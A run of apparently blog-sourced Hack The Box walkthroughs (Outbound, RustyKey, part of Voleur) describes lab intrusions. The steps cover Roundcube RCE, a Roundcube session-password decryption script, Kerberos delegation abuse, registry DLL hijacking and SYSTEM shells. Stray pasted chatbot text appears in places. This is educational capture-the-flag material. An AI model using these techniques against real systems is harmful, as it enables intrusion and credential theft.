The evil-winrm command was used to connect to dc01.mirage.htb with Kerberos authentication. Evil‑WinRM initialized successfully, displaying standard warnings about Ruby’s path‑completion limitations and noting that the provided username is unnecessary when a Kerberos ticket is already available. The session then proceeded to establish a connection with the remote host.

We can read the root flag by typing the “type root.txt” command

The post Hack The Box: Mirage Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Hack The Box: Outbound Machine Walkthrough – Easy Difficulity

✇Threatninja.net
By: darknite
15 November 2025 at 09:58
Reading Time: 11 minutes

Introduction to Outbound:

In this write-up, we will explore the “Outbound” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Outbound” machine from Hack The Box by achieving the following objectives:

User Flag:

The initial foothold was achieved by exploiting CVE‑2025‑49113 in Roundcube version 1.6.10 using Tyler’s valid credentials. This vulnerability in the file upload feature allowed remote code execution, enabling a reverse shell that was upgraded to a fully interactive shell. Investigation of the Roundcube configuration revealed the database credentials, which were used to access the MariaDB instance. Within the database, Jacob’s encrypted session data was located and decrypted using the known DES key, revealing his plaintext password. Using this password, SSH authentication was successful, providing access to Jacob’s environment and allowing the retrieval of the user flag.

Root Flag:

Privilege escalation was identified through sudo -l, which showed that the user could execute /usr/bin/below. Research revealed that the installed version of below is vulnerable to CVE‑2025‑27591, which involves a world-writable /var/log/below directory with permissions set to 0777. Exploiting this vulnerability using the publicly available Python PoC allowed execution of commands as root. Leveraging this access, the root flag was retrieved by reading the /root/root.txt file.

Enumerating the Outbound Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV 10.10.11.77 -oA initial

Nmap Output: 

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis:

  • Port 22: Running OpenSSH 9.6p1, providing secure remote access.
  • Port 80: Running nginx 1.24.0, redirecting to the Roundcube webmail portal.

Web Application Exploration:

Accessing the http://mail.outbound.htb portal reveals a Roundcube Webmail interface. We can proceed to log in using the provided credentials.

Entering the Tyler credentials allows us to access the Roundcube Webmail interface.

After accessing the email portal, the inbox appears to be empty.

Roundcube Webmail 1.6.10 service enumeration and analysis on Outbound machine

After logging in, the first step is to check the Roundcube version. In this case, it is running version 1.6.10.

Another way to verify the version is by checking the information embedded in the page’s source code.

After doing some research, I discovered that this version is affected by a known vulnerability, identified as CVE-2025-49113.

CVE‑2025‑49113: Critical Vulnerability in Roundcube on Outbound machine

CVE‑2025‑49113 is a serious vulnerability in Roundcube Webmail versions up to 1.5.9 and 1.6.10. It occurs in the upload.php feature, where certain input parameters are not properly validated. An attacker with valid user credentials can exploit this flaw to execute arbitrary code on the server by sending a specially crafted payload. This can allow the attacker to run commands, install backdoors, or take further control of the system. The vulnerability is particularly dangerous because it requires minimal technical effort once credentials are obtained, and proof-of-concept exploits are publicly available. Applying the patched versions 1.5.10 or 1.6.11 and above is necessary to secure the system.

How the Exploit Works

The script begins by checking whether the Roundcube instance is running a vulnerable version. If it is, it continues with the login process. Once authenticated, it uploads a normal-looking PNG file to the server. During this upload, the exploit carries out two key injections: one targeting the PHP session via the _from parameter in the URL, and another that slips a malicious object into the filename field of the _file parameter. When combined, these injections trigger code execution on the server, allowing the attacker to execute commands remotely.

You can download the Python script from the following repository: https://github.com/00xCanelo/CVE-2025-49113.

This command runs the exploit script and requires four arguments: the target Roundcube URL, a valid username, the corresponding password, and the system command you want the server to execute.

The upload went through successfully.

Unfortunately, it didn’t produce any outcome.

I changed the payload to use a base64‑encoded command.

The attempt failed once more.

I replaced the script with the PHP version from https://github.com/hakaioffsec/CVE-2025-49113-exploit. Unexpectedly, the script hung, and that’s a positive indication.

Finally, it worked successfully.

Tyler user account enumeration and analysis

So, let’s proceed using Tyler’s credentials.

Improve the shell to a full interactive one.

I couldn’t locate any files related to the configuration.

Since the application uses Roundcube, let’s check for the configuration file at /var/www/html/roundcube/config/config.inc.php.

This configuration file defines the essential settings for the Roundcube Webmail installation. It specifies the MySQL database connection using the credentials roundcube:RCDBPass2025 on the local database server, which Roundcube relies on to store its data. The file also sets the IMAP and SMTP servers to localhost on ports 143 and 587, meaning both incoming and outgoing mail services run locally, and Roundcube uses the user’s own login credentials for SMTP authentication. The product name is set to Roundcube Webmail, and the configuration includes a 24‑character DES key used for encrypting IMAP passwords in session data. Additionally, the installation enables the archive and zipdownload plugins and uses the elastic skin for its interface. Overall, this file contains the key operational and security‑sensitive parameters needed for Roundcube to function.

The commands show a successful login to the MariaDB database using the roundcube user account with the password RCDBPass2025. After entering the password, access to the MariaDB monitor is granted, allowing the user to execute SQL commands. The prompt confirms that the server is running MariaDB version 10.11.13 on Ubuntu 24.04, and provides standard information about the database environment, including copyright details and basic usage instructions. This access enables management of the Roundcube database, including querying, updating, or modifying stored data.

The commands demonstrate exploring the MariaDB instance after logging in as the roundcube user. First, show databases; lists all databases on the server, revealing the default information_schema and the roundcube database, which stores the webmail application’s data. Next, use roundcube; switches the context to the Roundcube database, allowing operations within it. Running show tables; displays all the tables in the database, totaling 17, which include tables for caching (cache, cache_index, cache_messages, etc.), email contacts (contacts, contactgroups, contactgroupmembers), user identities (identities, users), and other operational data (session, system, filestore, responses, searches). These tables collectively manage Roundcube’s functionality, storing user accounts, session data, cached messages, and other configuration or runtime information necessary for the webmail system.

This snippet appears to be a serialized Roundcube session or user configuration for the account jacob. It stores settings such as the user ID, username, encrypted password, IMAP server details (localhost:143), mailbox information (e.g., INBOX with 2 unseen messages), session tokens, authentication secret, timezone (Europe/London), UI preferences like skin and layout, and other session-related flags. Essentially, it contains all the data Roundcube needs to manage the user’s session, mailbox view, and preferences while interacting with the webmail interface.

Creating a Python script to recover the plaintext password from encrypted session data.

#!/usr/bin/env python3
import base64
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad

DES_KEY = 'rcmail-!24ByteDESkey*Str'  # Roundcube 3DES key (24 bytes)


def extract_iv_and_data(b64_string):
    """Decode base64 and split into IV + encrypted data."""
    raw = base64.b64decode(b64_string)
    return raw[:8], raw[8:]


def create_cipher(des_key, iv):
    """Return a 3DES CBC cipher instance."""
    key = des_key.encode('utf-8')[:24]
    return DES3.new(key, DES3.MODE_CBC, iv)


def decrypt_value(b64_string, des_key):
    """Decrypt a Roundcube-encrypted base64 string."""
    try:
        iv, encrypted = extract_iv_and_data(b64_string)
        cipher = create_cipher(des_key, iv)

        decrypted_padded = cipher.decrypt(encrypted)

        # Remove padding safely
        try:
            decrypted = unpad(decrypted_padded, DES3.block_size)
        except:
            decrypted = decrypted_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08')

        return decrypted.decode('utf-8', errors='ignore').strip(), iv, encrypted

    except Exception as e:
        return f"Decryption failed: {str(e)}", None, None


def print_decryption(label, data, des_key):
    """Helper to decrypt and print results in structured form."""
    plaintext, iv, encrypted = decrypt_value(data, des_key)

    print(f"[{label}]")
    print(f"  Base64: {data}")
    print(f"  Plaintext: {plaintext}")

    if iv is not None:
        print(f"  IV: {iv.hex()}")
        print(f"  Encrypted(hex): {encrypted.hex()}")
    print()


def main():
    # Extracted values
    username = "jacob"
    password_b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
    auth_secret_b64 = "DpYqv6maI9HxDL5GhcCd8JaQQW"
    request_token_b64 = "TIsOaABA1zHSXZOBpH6up5XFyayNRHaw"

    print("\n=== Roundcube Password / Token Decryptor ===\n")
    print(f"Using DES Key: {DES_KEY}\n")

    print(f"User: {username}\n")

    print_decryption("Password", password_b64, DES_KEY)
    print_decryption("Auth Secret", auth_secret_b64, DES_KEY)
    print_decryption("Request Token", request_token_b64, DES_KEY)

    print("Decryption Method: 3DES CBC (IV extracted from base64)")


if __name__ == "__main__":
    main()

This Python script is designed to decrypt Roundcube webmail passwords (and similar session tokens) that are stored in 3DES-encrypted form. Key points:

  • Decryption Method: Uses 3DES in CBC mode with a 24-byte key (des_key) and an 8-byte IV extracted from the start of the base64-encoded data.
  • Encrypted Data Handling: The script first base64-decodes the input, separates the IV (first 8 bytes) from the encrypted payload, and then decrypts it.
  • Padding Removal: After decryption, it removes PKCS#5/7 padding with unpad; if that fails, it manually strips extra bytes.
  • Target Data: In this example, it decrypts the user jacob’s password (L7Rv00A8TuwJAr67kITxxcSgnIk25Am/) along with the auth_secret and request_token.
  • Output: Shows the plaintext password, IV, and encrypted data in hex for analysis.

The decrypted Roundcube credentials reveal the username jacob with the plaintext password 595mO8DmwGeD. These credentials can now be tested for SSH authentication to determine whether the same password is reused across services. Since password reuse is common in misconfigured environments, attempting SSH login with these details may provide direct shell access to the target system.

The email content from Jacob’s mailbox shows two messages. The first, from Tyler, notifies Jacob of a recent password change and provides a temporary password gY4Wr3a1evp4, advising Jacob to update it upon next login. The second email, from Mel, informs Jacob about unexpected high resource consumption on the main server. Mel mentions that resource monitoring has been enabled and that Jacob has been granted privileges to inspect the logs, with a request to report any irregularities immediately. Together, these emails reveal sensitive information including temporary credentials and access responsibilities for server monitoring.

We’re now able to access and read the user flag.

Escalate to Root Privileges Access on the Outbound machine

Privilege Escalation:

Consistent with the earlier hint, sudo -l reveals sudo access to /usr/bin/below.

After investigating below, we found its GitHub project. In the Security section, the advisory GHSA-9mc5-7qhg-fp3w is listed.

This advisory describes an Incorrect Permission Assignment for a Critical Resource affecting version 0.9.0. Inspecting the /var/log/below directory, we see that its permissions are set to 0777, meaning it is world-writable. This confirms the advisory’s impact, as anyone can create or modify files in this directory.

Mapping the Vulnerability to CVE‑2025‑27591

Further research shows that this vulnerability is tracked as CVE‑2025‑27591, and a PoC is publicly available.

Upload the Python script to the compromised host.

Using the exploit from the following source: BridgerAlderson’s CVE‑2025‑27591 PoC on GitHub.

We can read the root flag simply by running cat root.txt.

The post Hack The Box: Outbound Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity

✇Threatninja.net
By: darknite
8 November 2025 at 09:58
Reading Time: 11 minutes

Introduction to RustyKey:

In this writeup, we will explore the “RustyKey” machine from Hack The Box, categorized as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “RustyKey” machine from Hack The Box by achieving the following objectives:

User Flag:

Authenticated to the domain as bb.morgan (password P@ssw0rd123) after exploiting Kerberos flows and time sync. You obtained a Kerberos TGT (bb.morgan.ccache), exported it via KRB5CCNAME, and used evil‑winrm to open an interactive shell on dc.rustykey.htb.

Root Flag:

Escalation to SYSTEM was achieved by abusing machine and delegation privileges. Using the IT‑COMPUTER3$ machine account you modified AD protections and reset ee.reed’s password, then performed S4U2Self/S4U2Proxy to impersonate backupadmin and saved backupadmin.ccache. With that ticket, you used Impacket to upload and run a service payload and spawned a SYSTEM shell.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV 10.10.11.75 -oA initial

Nmap Output: 

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Analysis:

  • 53/tcp (DNS – Simple DNS Plus): DNS service is running, likely handling domain name resolution for the internal Active Directory environment.
  • 88/tcp (Kerberos-sec): Kerberos authentication service for Active Directory domain rustykey.htb0. Useful for ticket-based authentication attacks such as AS-REP roasting or Kerberoasting.
  • 135/tcp (MSRPC): Microsoft RPC endpoint mapper. Commonly used for remote management and DCOM-based communication.
  • 139/tcp (NetBIOS-SSN): NetBIOS session service — supports SMB over NetBIOS; can reveal shares or host information.
  • 389/tcp (LDAP): Lightweight Directory Access Protocol for Active Directory. Likely allows domain information queries; potential for anonymous LDAP enumeration.
  • 445/tcp (Microsoft-DS): SMB over TCP for file sharing and remote service operations; often used for lateral movement or enumeration (e.g., SMB shares, users, policies).
  • 464/tcp (kpasswd5): Kerberos password change service; might be used for password reset operations.
  • 593/tcp (ncacn_http): Microsoft RPC over HTTP — commonly used for Outlook Anywhere and DCOM-based communication.
  • 636/tcp (LDAPS): LDAP over SSL/TLS; encrypted directory service communications.
  • 3268/tcp (Global Catalog – LDAP): LDAP global catalog port for multi-domain queries in Active Directory.
  • 3269/tcp (Global Catalog over SSL): Secure LDAP global catalog service.

Server Enumeration:

Before starting, we need to specify the correct Kerberos realm by creating a krb5.conf file in /etc/krb5.conf and adding the following content above

NXC enumeration

The scans show an Active Directory host (dc.rustykey.htb) with SMB and LDAP/kerberos services; SMB on 10.10.11.75 negotiated x64, signing required, and SMBv1 disabled, while an SMB auth attempt for rr.parker returned STATUS_NOT_SUPPORTED — indicating the server rejected the authentication method the client used rather than definitively proving the password is wrong. The LDAP attempt shows KDC_ERR_WRONG_REALM for rustykey.htb\rr.parker, meaning the Kerberos realm in use didn’t match the domain. Likely causes include incorrect credentials, an auth-method mismatch (NTLM vs Kerberos or wrong NTLM dialect), enforced SMB signing, wrong/unspecified Kerberos realm, account restrictions (disabled/locked/password change required), or tool/quoting issues from special characters. Triage by retrying with a domain-qualified username (RUSTYKEY\rr.parker or rr.parker@RUSTYKEY), testing with alternate SMB clients (crackmapexec, smbclient, Impacket), forcing NTLM if needed, validating Kerberos realm and obtaining a TGT, performing LDAP or rpc enumeration to confirm account status, and escaping or simplifying the password to rule out encoding problems.

This time, the error returned is KRB_AP_ERR_SKEW, indicating a time synchronization issue between the client and the server.

Using nxc with Kerberos authentication (-k) and domain rustykey.htb, the SMB service on dc.rustykey.htb was successfully accessed with the credentials rr.parker:8#t5HE8L!W3A. The enumeration revealed an x64 domain controller with SMB signing enabled and SMBv1 disabled. The command listed 11 local users, including Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin, along with their last password set dates and account descriptions. This confirms that rr.parker’s credentials are valid and have sufficient access to query user accounts over SMB. The successful Kerberos-based login also verifies proper realm configuration and time synchronization, allowing secure enumeration of domain users.

Using Kerberos authentication (-k) with the domain rustykey.htb, LDAP enumeration on dc.rustykey.htb successfully authenticated as rr.parker:8#t5HE8L!W3A. The scan enumerated 11 domain users, showing usernames, last password set dates, and account descriptions. Accounts include Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin. This confirms rr.parker’s credentials are valid and have permission to query domain user information over LDAP. The domain controller responded correctly to Kerberos authentication, indicating proper realm configuration and time synchronization.

Impacket successfully requested a TGT from DC 10.10.11.75 for rustykey.htb/rr.parker and saved the Kerberos ticket to rr.parker.ccache.

ChatGPT said:

Set the Kerberos credential cache by exporting KRB5CCNAME=rr.parker.ccache so Kerberos-aware tools use the saved TGT for authentication.

This directs commands like klist, curl –negotiate, and Impacket utilities to the specified ccache.

Bloodhound enumeration

The DNS timeout indicates that the BloodHound collector couldn’t resolve SRV records or reach the domain controller’s DNS. This often happens due to incorrect DNS settings on your Parrot OS machine, firewall restrictions, or reliance on SRV lookups instead of a direct DC IP.

Synchronizing the clock with ntpdate -s 10.10.11.75 resolved the issue. Kerberos authentication requires the client and domain controller clocks to be closely aligned, and a time drift triggers KRB_AP_ERR_SKEW errors. After syncing, the Kerberos TGT became valid, allowing BloodHound to authenticate and enumerate the domain successfully. You can verify the ticket with klist and rerun BloodHound using -k or your ccache. For a persistent solution, consider running a time service like chrony or ntpd, or continue using ntpdate during the engagement.

IT‑COMPUTER3$ added itself to the HelpDesk group.

Execute timeroast.py.

Because the machine requires Kerberos authentication, enumeration attempts return no results. In addition to AS-REP roasting and Kerberoasting, a new technique called timeroast has recently emerged.

The screenshot above shows the hash as clean.

Hashcat was unable to crack the hash.

The main() function sets up and runs the script: it creates an argument parser with two positional inputs (the timeroast hashes file and a password dictionary opened with latin-1 encoding), parses those arguments, then calls try_crack to iterate through dictionary candidates and compare them to the parsed hashes. For each match it prints a “[+] Cracked RID …” line and increments a counter, and when finished it prints a summary of how many passwords were recovered. The if __name__ == '__main__' guard ensures main() runs only when the script is executed directly.

Running python3 timecrack.py timeroast.txt rockyou.txt recovered one credential: RID 1125 — password Rusty88!. Total passwords recovered: 1.

Impacket requested a TGT for the machine account IT-COMPUTER3$ on rustykey.htb and saved the Kerberos ticket to IT-COMPUTER3$.ccache. The Kerberos credential cache was set to IT-COMPUTER3$.ccache by exporting KRB5CCNAME=IT-COMPUTER3\$.ccache, directing Kerberos-aware tools to use this saved TGT for authentication.

Using BloodHound with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, and ran add groupMember HELPDESK IT-COMPUTER3$ — the account IT-COMPUTER3$ was successfully added to the HELPDESK group.

Using BloodyAD with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, ran set password for bb.morgan to P@ssw0rd123, and the password was changed successfully.

Impacket attempted to request a TGT for bb.morgan@rustykey.htb, but the KDC rejected it with KDC_ERR_ETYPE_NOSUPP, meaning the Key Distribution Centre does not support the encryption type used.

If you need that permission, remove the protection first — bb.morgan.

Ran BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ to remove the account IT from the PROTECTED OBJECTS group, and the tool reported that IT was removed. Using BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ I changed bb.morgan’s password to P@ssw0rd123. I then requested a TGT for bb.morgan with impacket-getTGT and saved the ticket to bb.morgan.ccache

Set KRB5CCNAME to bb.morgan.ccache so Kerberos-aware tools use that credential cache.

If evil-winrm failed, common causes are WinRM not reachable, wrong auth method, or account restrictions. First check connectivity and service: nc -vz 10.10.11.75 5985 (and 5986). Test the WinRM endpoint with curl to see auth behavior:
curl --negotiate -u 'bb.morgan:P@ssw0rd123' http://10.10.11.75:5985/wsman
If you’re using Kerberos, ensure KRB5CCNAME points to the bb.morgan ccache and run evil-winrm with Kerberos (use the tool’s Kerberos flag). If password auth, try: evil-winrm -i 10.10.11.75 -u bb.morgan -p 'P@ssw0rd123'. If that still fails, try an alternate Impacket client (wmiexec.py, psexec.py) to rule out evil-winrm-specific issues. Also verify the account isn’t restricted (must-change-password, disabled, or requires smartcard) and that SMB/WinRM signing/policy isn’t blocking the session. Tell me the exact error if you want targeted troubleshooting.

After synchronising the system clock with rdate, evil-winrm successfully established a session to dc.rustykey.htb using the bb.morgan account in the rustykey.htb domain.

To view the user flag, run type user.txt at the command prompt.

Escalate to Root Privileges Access

Privilege Escalation:

One PDF file stood out and drew my attention.

Download the PDF to our machine.

The message appears to be from bb.morgan to support-team@rustykey.htb, stating the support team will receive elevated registry permissions and temporary elevated rights.
Reviewing BloodHound shows ee.reed is a member of the support-team@rustykey.htb group.

Using the IT‑COMPUTER3$ machine account you removed SUPPORT from the Protected Objects container and reset ee.reed’s password to P@ssword123 — actions that demonstrate domain‑level privilege to alter AD protections and control user accounts. With ee.reed’s credentials you can obtain a TGT, export a ccache, and authenticate to domain services (SMB/WinRM/LDAP) to escalate access and pivot further.

This indicates that the SUPPORT group has modify permissions on the registry and can interact with compression and decompression functions.

Requested a TGT for ee.reed@rustykey.htb from DC 10.10.11.75 and saved the Kerberos ticket to ee.reed.ccache.

Evil‑winrm failed to establish a session using ee.reed’s access.

Let’s start the listener.

Upload runascs.exe

Attempt to execute the payload.

Access obtained as ee.reed.

Oddly, the victim machine has 7‑Zip installed.

It’s 7‑Zip version 24.08.

The command reg query "HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers" queries the Windows Registry to list all entries under the ContextMenuHandlers key for all file types (*) in the HKEY_LOCAL_MACHINE\Software\Classes hive.

Query the registry key HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip.

Display the registry key HKLM\SOFTWARE\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}.

Query the registry key HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32.

This PowerShell command retrieves and displays the detailed access permissions (ACL) for the 7-Zip COM object CLSID registry key (HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}), showing which users or groups can read, modify, or take ownership of the key in a clear, list format.

Download the DLL file onto the target machine.

Add or update the default value of HKLM\Software\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}\InprocServer32 to C:\tmp\dark.dll using reg add with the force flag.

Executing rundll32.exe dark.dll, dllmain produces no visible effect.

Obtained a shell as the user mm.turner.

It shows that the SUPPORT group has registry modify permissions and can access compression and decompression functionalities.

Initially, this PowerShell command failed to configure the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property.

This PowerShell command configures the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property, effectively granting that machine account the ability to act on behalf of other accounts for specific services.

Ran Impacket getST for SPN cifs/DC.rustykey.htb while impersonating backupadmin (DC 10.10.11.75) using rustykey.htb/IT-COMPUTER3$:Rusty88!. No existing ccache was found so a TGT was requested, the tool performed S4U2Self and S4U2Proxy flows to impersonate backupadmin, and saved the resulting ticket as backupadmin.ccache. Deprecation warnings about UTC handling were also printed.

Export the Kerberos ticket to a ccache file, then use Impacket’s secretdump to extract the account hashes.

Using the backupadmin Kerberos ticket (no password), Impacket connected to dc.rustykey.htb, discovered a writable ADMIN$ share, uploaded rFPLWAqZ.exe, created and started a service named BqCY, and spawned a shell — whoami returned NT AUTHORITY\SYSTEM.

To view the root flag, run type root.txt at the command prompt.

The post Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Hack The Box: Voleur Machinen Walkthrough – Medium Difficulty

✇Threatninja.net
By: darknite
1 November 2025 at 10:58
Reading Time: 14 minutes

Introduction to Voleur:

In this write-up, we will explore the “Voleur” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Voleur” machine from Hack The Box by achieving the following objectives:

User Flag:

I found a password-protected Excel file on an SMB share, cracked it to recover service-account credentials, used those credentials to obtain Kerberos access and log into the victim account, and then opened the user’s Desktop to read user.txt.

Root Flag:

I used recovered service privileges to restore a deleted administrator account, extracted that user’s encrypted credential material, decrypted it to obtain higher-privilege credentials, and used those credentials to access the domain controller and read root.txt.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial -Pn 10.10.11.76

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/voleur]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.76
# Nmap 7.94SVN scan initiated Thu Oct 30 09:26:48 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-30 20:59:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-10-30T20:59:25
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h32m19s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 30 09:27:43 2025 -- 1 IP address (1 host up) scanned in 55.54 seconds

Analysis:

  • 53/tcp: DNS (Simple DNS Plus) – domain name resolution
  • 88/tcp: Kerberos – Active Directory authentication service
  • 135/tcp: MSRPC – Windows RPC endpoint mapper
  • 139/tcp: NetBIOS-SSN – legacy file and printer sharing
  • 389/tcp: LDAP – Active Directory directory service
  • 445/tcp: SMB – file sharing and remote administration
  • 464/tcp: kpasswd – Kerberos password change service
  • 593/tcp: RPC over HTTP – remote procedure calls over HTTP
  • 636/tcp: tcpwrapped – likely LDAPS (secure LDAP)
  • 2222/tcp: SSH – OpenSSH on Ubuntu (remote management)
  • 3268/tcp: Global Catalog (LDAP GC) – forest-wide directory service
  • 3269/tcp: tcpwrapped – likely Global Catalog over LDAPS

Machine Enumeration:

impacket-getTGT voleur.htb/ryan.naylor:HollowOct31Nyt (Impacket v0.12.0) — TGT saved to ryan.naylor.ccache; note: significant clock skew with the DC may disrupt Kerberos operations.

impacket-getTGT used ryan.naylor’s credentials to request a Kerberos TGT from the domain KDC and saved it to ryan.naylor.ccache; that ticket lets anyone request service tickets and access AD services (SMB, LDAP, HTTP) as ryan.naylor until it expires or is revoked, so inspect it with KRB5CCNAME=./ryan.naylor.ccache && klist and, if the request was unauthorized, reset the account password and check KDC logs for suspicious AS-REQs.

Setting KRB5CCNAME=ryan.naylor.ccache tells the Kerberos libraries to use that credential cache file for authentication so Kerberos-aware tools (klist, smbclient -k, ldapsearch -Y GSSAPI, Impacket tools with -k) will present the saved TGT; after exporting, run klist to view the ticket timestamps and then use the desired Kerberos-capable client (or unset the variable when done).

nxc ldap connected to the domain controller’s LDAP (DC.voleur.htb:389) using Kerberos (-k), discovered AD info (x64 DC, domain voleur.htb, signing enabled, SMBv1 disabled) and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming those credentials are valid for LDAP access.

nxc smb connected to the domain controller on TCP 445 using Kerberos (-k), enumerated the host as dc.voleur.htb (x64) with SMB signing enabled and SMBv1 disabled, and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming SMB access to the DC which can be used to list or mount shares, upload/download files, or perform further AD discovery while the account’s privileges allow.

Bloodhound enumeration

Runs bloodhound-python to authenticate to the voleur.htb domain as ryan.naylor (using the provided password and Kerberos via -k), query the specified DNS server (10.10.11.76) and collect all AD data (-c All) across the domain (-d voleur.htb), then package the resulting JSON data into a zip file (–zip) ready for import into BloodHound for graph-based AD attack path analysis; this gathers users, groups, computers, sessions, ACLs, trusts, and other relationships that are sensitive — only run with authorization.

ryan.naylor is a member of Domain Users and First-line Technicians — Domain Users is the default domain account group with standard user privileges, while First-line Technicians is a delegated helpdesk/tech group that typically has elevated rights like resetting passwords, unlocking accounts, and limited workstation or AD object management; combined, these memberships let the account perform routine IT tasks and makes it a useful foothold for lateral movement or privilege escalation if abused, so treat it as sensitive and monitor or restrict as needed.

SMB enumeration

Connected to dc.voleur.htb over SMB using Kerberos authentication; authenticated as voleur.htb\ryan.naylor and enumerated shares: ADMIN$, C$, Finance, HR, IPC$ (READ), IT (READ), NETLOGON (READ), and SYSVOL (READ), with SMB signing enabled and NTLM disabled.

If impacket-smbclient -k dc.voleur.htb failed, target a specific share and provide credentials or use your Kerberos cache. For example, connect with Kerberos and no password to a known share: impacket-smbclient -k -no-pass //dc.voleur.htb/Finance after exporting KRB5CCNAME=./ryan.naylor.ccache, or authenticate directly with username and password: impacket-smbclient //dc.voleur.htb/Finance -u ryan.naylor -p HollowOct31Nyt; specifying the share usually succeeds when the root endpoint refuses connections.

